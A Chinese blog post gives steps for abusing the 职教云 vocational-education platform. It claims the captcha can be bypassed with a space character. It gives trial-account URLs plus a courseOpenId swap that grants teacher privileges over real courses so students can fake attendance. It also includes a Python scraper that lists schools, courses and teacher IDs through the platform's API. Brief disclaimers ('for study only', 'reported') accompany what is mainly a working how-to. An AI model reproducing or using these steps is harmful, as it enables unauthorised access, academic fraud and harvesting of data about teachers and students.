看前甜点
READERME:请不要随意修改老师发布的内容及自己同学或别的同学的任何信息,且行且珍惜
特殊情况下给自己补签足够,谨慎操作使用,你们是祖国的希望和未来,正值花季,你们虽然掌握了一定的生活常识,有了一定的独立意识,普遍希望得到社会的支持、理解、尊重和赞扬,以体现自己在社会中的价值,不要随意炫耀,不得参与任何信息的泄露,仅供学习交流。
先说一个小发现:职教云其实可以不输入验证码登录,验证码那里输入空格就行,写了给小脚本在油猴 https://greasyfork.org/zh-CN/scripts/404242 写的不好请见谅。
最近看到很多补签的帖子,以及拿教师权限,看着挺麻烦的,于是花了几天时间分析了一下,职教云确实不安全,能获取到加入职教云的学校,学校的课程,课程的老师,老师的学生,学生的信息。除了不能拿到学生密码和教师密码之外,其他基本都能拿到,包括邮箱,扣扣,学号,姓名,班级,学校等。于是用python做了一个爬虫,证明确实有效(已反馈职教云,不参与任何违法违规,内容未保留仅供学习)。开始
-------------------------------------简单演示一个教师权限(无需抓包及注册教师账号)---------------------------------------------------
为什么不需要抓包和注册教师账号,可能是当时程序员开发的时候遗留下来的一些账号吧(里面包括体验教师和体验学生,体验学生用处不大就不做演示)。
准备工作:
1、能上网的浏览器
2、自己的职教云账号
打开浏览器进入--> https://zjy2.icve.com.cn/ <--登录自己的账号登录完是这样的
账号登录了别忘了最重要的一件事:点开你自己需要修改的课程,比如我的课(记住框出来的那个courseOpenId就是pp开头那个)
留着上面这个页面,不关闭就行-->然后新开一个标签页
然后输入这个地址 https://zjy2.icve.com.cn/common/login/trialTeacher 你会发现出现了回到第一页你的登录页面(就是第一步那个地方),把上面的地址换成 https://zjy2.icve.com.cn/teacher/homePage/homePage.html (其实在本窗口任何页都可以,不必纠结,那就是官方留下的体验教师账号)你会看到下面的内容
看完了上面两张图,你接下来把上面课程的courseOpenId替换成第二步你自己的courseOpenId就是pp开头那个,然后回车,你就会发现进入了。
进入智慧你就有教师的权限了,别随意修改,补签完自己的就睡觉去吧,别乱动老师的东西和同学的东西
扩展
这是一些正规的数据,能够找到课程,已提交职教云官方,虽然这些东西并没有什么用,仅供学习,智慧树有个接口也能够得到所有学校,不过也没什么用。
体验教师URL:https://zjy2.icve.com.cn/common/login/trialTeacher
体验学生URL:https://zjy2.icve.com.cn/common/login/trialStudent
被和谐后续
帖子刚开没多久方法就被和谐了,其实不用担心,那只是一个用官方的账号进行操作,其他方法可以自己想象,能证明方法这种方法还是有用的,未被修复。
既然被和谐了,下面来点有用的吧,能够快速获取教师ID:
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 | import json import requests headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36' , } list_data = [] def getData(): ''' 获取加入职教云的学校 :return: ''' url = "https://www.icve.com.cn/commonUser/portal/register/getUnit" result = requests.post(url = url, headers = headers) json_data = json.loads(result.content) for i in json_data[ "list" ]: list_data.append(i) def getTea( Id , scoreName): ''' 获取学校的老师课程 :param Id: 学校ID :return: ''' url = "https://zjy2.icve.com.cn/dzx/portalApi/coursecenter/getCourseList?schoolId={}&page=1&pageSize=10000" . format ( Id ) result = requests.get(url = url, headers = headers) # 把json字符串转换为python的数据格式 data = json.loads(result.text) # print(data) # 课程数 print ( "总共" , data[ "pagination" ][ "totalCount" ], "门课程" ) flag = True for i in data[ "list" ]: # 获取课程教师 teacher = i[ "mainTeacherName" ] # 教师ID teacherID = i[ "mainTeacherId" ] # 获取课程名称 course = i[ "courseName" ] # 获取课程id Id = i[ "Id" ] # 获取加入课程的人数 numStu = i[ "stuCount" ] if scoreName in course: flag = False print ( "课程名称:" , course, "\t教师:" , teacher, "\t教师ID:" , teacherID, "\t课程人数:" , numStu, "\t课程ID:" , Id ) if flag: print ( "未查询到课程" ) exit( 0 ) if __name__ = = '__main__' : print ( "---------->正在获取学校列表<----------" ) getData() print ( "---------->学校列表获取完成<----------" ) schName = input ( "请输入需要查询的学校名称(回车查询所有,可使用关键字如:北京):" ) flag = True for i in list_data: if schName in i[ "Name" ]: flag = False # 找到学校 print ( "学校名称--->" , i[ "Name" ], "\t\t\t学校ID---->" , i[ "Id" ]) if flag: print ( "未查询到学校" ) exit( 0 ) # 找课程 schoolID = input ( "请输入学校ID(必填):" ) courseName = input ( "请输入课程名称(回车查询所有):" ) getTea(schoolID, courseName) |
评论
发布于 2024-07-11 10:46:33回复该评论
发布于 2024-07-11 12:10:34回复该评论
发布于 2024-07-11 12:20:40回复该评论
发布于 2024-07-11 12:38:01回复该评论
发布于 2024-07-11 12:51:38回复该评论
发布于 2024-07-11 13:05:45回复该评论
发布于 2024-07-11 13:12:32回复该评论
发布于 2024-07-11 13:15:37回复该评论
发布于 2024-07-11 13:34:07回复该评论
发布于 2024-07-11 13:51:34回复该评论
发布于 2024-07-11 13:53:12回复该评论
发布于 2024-07-11 14:24:39回复该评论
发布于 2024-07-11 14:47:37回复该评论
发布于 2024-07-11 14:47:57回复该评论
发布于 2024-07-11 14:50:02回复该评论
发布于 2024-07-11 15:16:07回复该评论
发布于 2024-07-11 15:41:33回复该评论
发布于 2024-07-11 15:59:05回复该评论
发布于 2024-07-11 16:11:18回复该评论
发布于 2024-07-11 16:34:53回复该评论
发布于 2024-07-11 16:47:12回复该评论
发布于 2024-07-11 16:49:52回复该评论
发布于 2024-07-11 16:57:35回复该评论
发布于 2024-07-11 17:02:55回复该评论
发布于 2024-07-11 17:18:46回复该评论
发布于 2024-07-11 17:46:39回复该评论
发布于 2024-07-11 17:47:01回复该评论
发布于 2024-07-11 17:47:53回复该评论
发布于 2024-07-11 18:08:35回复该评论
发布于 2024-07-11 18:33:05回复该评论
发布于 2024-07-11 18:36:39回复该评论
发布于 2024-07-11 18:49:57回复该评论
发布于 2024-07-11 18:56:17回复该评论
发布于 2024-07-11 19:22:14回复该评论
发布于 2024-07-11 19:23:13回复该评论
发布于 2024-07-11 19:45:28回复该评论
发布于 2024-07-11 20:26:10回复该评论
发布于 2024-07-11 20:32:11回复该评论
发布于 2024-07-11 20:44:03回复该评论
发布于 2024-07-11 20:46:32回复该评论
发布于 2024-07-11 21:03:18回复该评论
发布于 2024-07-11 21:21:19回复该评论
发布于 2024-07-11 21:24:03回复该评论
发布于 2024-07-11 21:26:25回复该评论
发布于 2024-07-11 21:46:21回复该评论
发布于 2024-07-11 21:47:45回复该评论
发布于 2024-07-11 21:56:35回复该评论
发布于 2024-07-11 21:56:38回复该评论
发布于 2024-07-11 21:59:53回复该评论
发布于 2024-07-11 22:17:40回复该评论
发布于 2024-07-11 22:21:05回复该评论
发布于 2024-07-11 22:21:33回复该评论
发布于 2024-07-11 22:58:06回复该评论
发布于 2024-07-11 23:08:51回复该评论
发布于 2024-07-11 23:53:54回复该评论
发布于 2024-07-12 00:01:15回复该评论
发布于 2024-07-12 00:06:19回复该评论
发布于 2024-07-12 00:07:19回复该评论
发布于 2024-07-12 00:10:15回复该评论
发布于 2024-07-12 00:13:06回复该评论
发布于 2024-07-12 00:26:32回复该评论
发布于 2024-07-12 00:37:26回复该评论
发布于 2024-07-12 00:50:42回复该评论
发布于 2024-07-12 00:57:20回复该评论
发布于 2024-07-12 00:58:26回复该评论
发布于 2024-07-12 01:01:00回复该评论
发布于 2024-07-12 01:11:45回复该评论
发布于 2024-07-12 01:21:53回复该评论
发布于 2024-07-12 02:42:01回复该评论
发布于 2024-07-12 02:47:01回复该评论
发布于 2024-07-12 02:47:33回复该评论
发布于 2024-07-12 02:52:56回复该评论
发布于 2024-07-12 03:10:45回复该评论
发布于 2024-07-12 03:15:39回复该评论
发布于 2024-07-12 03:20:06回复该评论
发布于 2024-07-12 03:24:01回复该评论
发布于 2024-07-12 03:24:26回复该评论
发布于 2024-07-12 03:30:28回复该评论
发布于 2024-07-12 03:55:14回复该评论
发布于 2024-07-12 03:56:12回复该评论
发布于 2024-07-12 03:57:59回复该评论
发布于 2024-07-12 04:03:46回复该评论
发布于 2024-07-12 04:19:00回复该评论
发布于 2024-07-12 04:30:46回复该评论
发布于 2024-07-12 04:41:24回复该评论
发布于 2024-07-12 05:02:58回复该评论
发布于 2024-07-12 05:16:40回复该评论
发布于 2024-07-12 05:34:57回复该评论
发布于 2024-07-12 05:38:05回复该评论
发布于 2024-07-12 05:49:45回复该评论
发布于 2024-07-12 05:53:56回复该评论
发布于 2024-07-12 06:14:20回复该评论
发布于 2024-07-12 06:14:54回复该评论
发布于 2024-07-12 06:22:10回复该评论
发布于 2024-07-12 06:33:32回复该评论
发布于 2024-07-12 06:36:00回复该评论
发布于 2024-07-12 06:50:54回复该评论
发布于 2024-07-12 06:56:21回复该评论
发布于 2024-07-12 06:58:28回复该评论
发布于 2024-07-12 07:06:46回复该评论
发表评论:
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。